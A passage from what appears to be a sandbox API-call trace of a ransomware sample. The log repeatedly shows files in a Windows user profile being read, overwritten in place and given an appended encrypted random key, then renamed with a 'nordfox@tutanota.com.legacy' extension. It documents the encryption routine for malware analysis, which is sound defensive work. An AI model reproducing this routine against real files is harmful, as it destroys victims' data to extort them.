"c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settingsconversions.txt"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settingsconversions.txt.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settingsconversions.txt.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0181.631] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b4d28 | out: hHeap=0x520000) returned 1 [0181.631] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7d88 | out: hHeap=0x520000) returned 1 [0181.631] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8328 | out: hHeap=0x520000) returned 1 [0181.632] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0181.632] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0181.632] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settings.schema", dwFileAttributes=0x80) returned 1 [0181.632] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a568 | out: hHeap=0x520000) returned 1 [0181.632] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settings.schema" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settings.schema"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b04 [0181.633] GetFileSizeEx (in: hFile=0x1b04, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=162) returned 1 [0181.633] ReadFile (in: hFile=0x1b04, lpBuffer=0x55eb60, nNumberOfBytesToRead=0xa2, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x55eb60*, lpNumberOfBytesRead=0x2e1f9bc*=0xa2, lpOverlapped=0x0) returned 1 [0181.634] SetFilePointer (in: hFile=0x1b04, lDistanceToMove=-162, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.634] WriteFile (in: hFile=0x1b04, lpBuffer=0x55e8a0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x55e8a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0xa2, lpOverlapped=0x0) returned 1 [0181.634] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55eb60 | out: hHeap=0x520000) returned 1 [0181.634] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55e8a0 | out: hHeap=0x520000) returned 1 [0181.634] SetFilePointer (in: hFile=0x1b04, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xa2 [0181.634] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0181.634] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0181.635] WriteFile (in: hFile=0x1b04, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0181.637] WriteFile (in: hFile=0x1b04, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0181.638] CloseHandle (hObject=0x1b04) returned 1 [0181.638] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4218 | out: hHeap=0x520000) returned 1 [0181.638] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34c8 | out: hHeap=0x520000) returned 1 [0181.638] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settings.schema" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settings.schema"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settings.schema.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settings.schema.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0181.643] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x564d08 | out: hHeap=0x520000) returned 1 [0181.643] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609d58 | out: hHeap=0x520000) returned 1 [0181.643] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609c00 | out: hHeap=0x520000) returned 1 [0181.644] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0181.644] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0181.644] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settings.csg", dwFileAttributes=0x80) returned 1 [0181.644] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a818 | out: hHeap=0x520000) returned 1 [0181.644] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settings.csg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settings.csg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b04 [0181.645] GetFileSizeEx (in: hFile=0x1b04, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=290) returned 1 [0181.645] ReadFile (in: hFile=0x1b04, lpBuffer=0x563358, nNumberOfBytesToRead=0x122, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x563358*, lpNumberOfBytesRead=0x2e1f9bc*=0x122, lpOverlapped=0x0) returned 1 [0181.646] SetFilePointer (in: hFile=0x1b04, lDistanceToMove=-290, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.646] WriteFile (in: hFile=0x1b04, lpBuffer=0x563720*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x563720*, lpNumberOfBytesWritten=0x2e1f9bc*=0x122, lpOverlapped=0x0) returned 1 [0181.646] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563358 | out: hHeap=0x520000) returned 1 [0181.646] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563720 | out: hHeap=0x520000) returned 1 [0181.646] SetFilePointer (in: hFile=0x1b04, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x122 [0181.646] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0181.646] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0181.646] WriteFile (in: hFile=0x1b04, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0181.646] WriteFile (in: hFile=0x1b04, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0181.647] CloseHandle (hObject=0x1b04) returned 1 [0181.647] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4218 | out: hHeap=0x520000) returned 1 [0181.647] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0181.647] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settings.csg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settings.csg"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settings.csg.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settings.csg.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0181.650] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x564d08 | out: hHeap=0x520000) returned 1 [0181.650] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a970 | out: hHeap=0x520000) returned 1 [0181.650] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a2b8 | out: hHeap=0x520000) returned 1 [0181.650] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0181.650] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0181.650] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\appssynonyms.txt", dwFileAttributes=0x80) returned 1 [0181.651] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a970 | out: hHeap=0x520000) returned 1 [0181.651] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\appssynonyms.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\appssynonyms.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b04 [0181.651] GetFileSizeEx (in: hFile=0x1b04, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=81243) returned 1 [0181.651] ReadFile (in: hFile=0x1b04, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x13d5b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x13d5b, lpOverlapped=0x0) returned 1 [0181.663] SetFilePointer (in: hFile=0x1b04, lDistanceToMove=-81243, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.663] WriteFile (in: hFile=0x1b04, lpBuffer=0x2ee3010*, nNumberOfBytesToWrite=0x13d5b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee3010*, lpNumberOfBytesWritten=0x2e1f9bc*=0x13d5b, lpOverlapped=0x0) returned 1 [0181.664] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d7038 | out: hHeap=0x520000) returned 1 [0181.664] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2ee3010 | out: hHeap=0x520000) returned 1 [0181.664] SetFilePointer (in: hFile=0x1b04, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x13d5b [0181.664] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0181.664] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0181.664] WriteFile (in: hFile=0x1b04, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0181.664] WriteFile (in: hFile=0x1b04, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0181.664] CloseHandle (hObject=0x1b04) returned 1 [0181.664] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0181.664] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3538 | out: hHeap=0x520000) returned 1 [0181.664] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\appssynonyms.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\appssynonyms.txt"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\appssynonyms.txt.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\appssynonyms.txt.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0181.666] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x564d08 | out: hHeap=0x520000) returned 1 [0181.666] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a818 | out: hHeap=0x520000) returned 1 [0181.666] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a160 | out: hHeap=0x520000) returned 1 [0181.666] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0181.666] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0181.667] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\appsglobals.txt", dwFileAttributes=0x80) returned 1 [0181.667] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a568 | out: hHeap=0x520000) returned 1 [0181.667] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\appsglobals.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\appsglobals.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b04 [0181.667] GetFileSizeEx (in: hFile=0x1b04, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=357772) returned 1 [0181.668] ReadFile (in: hFile=0x1b04, lpBuffer=0x3520048, nNumberOfBytesToRead=0x5758c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3520048*, lpNumberOfBytesRead=0x2e1f9bc*=0x5758c, lpOverlapped=0x0) returned 1 [0181.701] SetFilePointer (in: hFile=0x1b04, lDistanceToMove=-357772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.702] WriteFile (in: hFile=0x1b04, lpBuffer=0x347c008*, nNumberOfBytesToWrite=0x5758c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x347c008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5758c, lpOverlapped=0x0) returned 1 [0181.703] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3520048 | out: hHeap=0x520000) returned 1 [0181.703] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x347c008 | out: hHeap=0x520000) returned 1 [0181.703] SetFilePointer (in: hFile=0x1b04, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5758c [0181.703] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0181.703] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0181.703] WriteFile (in: hFile=0x1b04, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0181.704] WriteFile (in: hFile=0x1b04, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0181.704] CloseHandle (hObject=0x1b04) returned 1 [0181.704] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c53a0 | out: hHeap=0x520000) returned 1 [0181.704] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0181.704] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\appsglobals.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\appsglobals.txt"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\appsglobals.txt.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\appsglobals.txt.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0181.707] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x564d08 | out: hHeap=0x520000) returned 1 [0181.707] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609eb0 | out: hHeap=0x520000) returned 1 [0181.707] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a6c0 | out: hHeap=0x520000) returned 1 [0181.707] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0181.707] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0181.707] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\appsconversions.txt", dwFileAttributes=0x80) returned 1 [0181.708] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7950 | out: hHeap=0x520000) returned 1 [0181.708] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\appsconversions.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\appsconversions.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b04 [0181.708] GetFileSizeEx (in: hFile=0x1b04, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=31582) returned 1 [0181.708] ReadFile (in: hFile=0x1b04, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x7b5e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x7b5e, lpOverlapped=0x0) returned 1 [0181.710] SetFilePointer (in: hFile=0x1b04, lDistanceToMove=-31582, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.710] WriteFile (in: hFile=0x1b04, lpBuffer=0x30deba0*, nNumberOfBytesToWrite=0x7b5e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30deba0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x7b5e, lpOverlapped=0x0) returned 1 [0181.710] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d7038 | out: hHeap=0x520000) returned 1 [0181.710] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30deba0 | out: hHeap=0x520000) returned 1 [0181.710] SetFilePointer (in: hFile=0x1b04, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x7b5e [0181.711] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0181.711] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0181.711] WriteFile (in: hFile=0x1b04, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0181.711] WriteFile (in: hFile=0x1b04, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0181.711] CloseHandle (hObject=0x1b04) returned 1 [0181.711] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0181.711] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0181.712] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\appsconversions.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\appsconversions.txt"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\appsconversions.txt.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\appsconversions.txt.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0181.714] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b55c8 | out: hHeap=0x520000) returned 1 [0181.714] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8328 | out: hHeap=0x520000) returned 1 [0181.714] HeapFree (in: hHeap=0x520000, dwFlags=0x0, 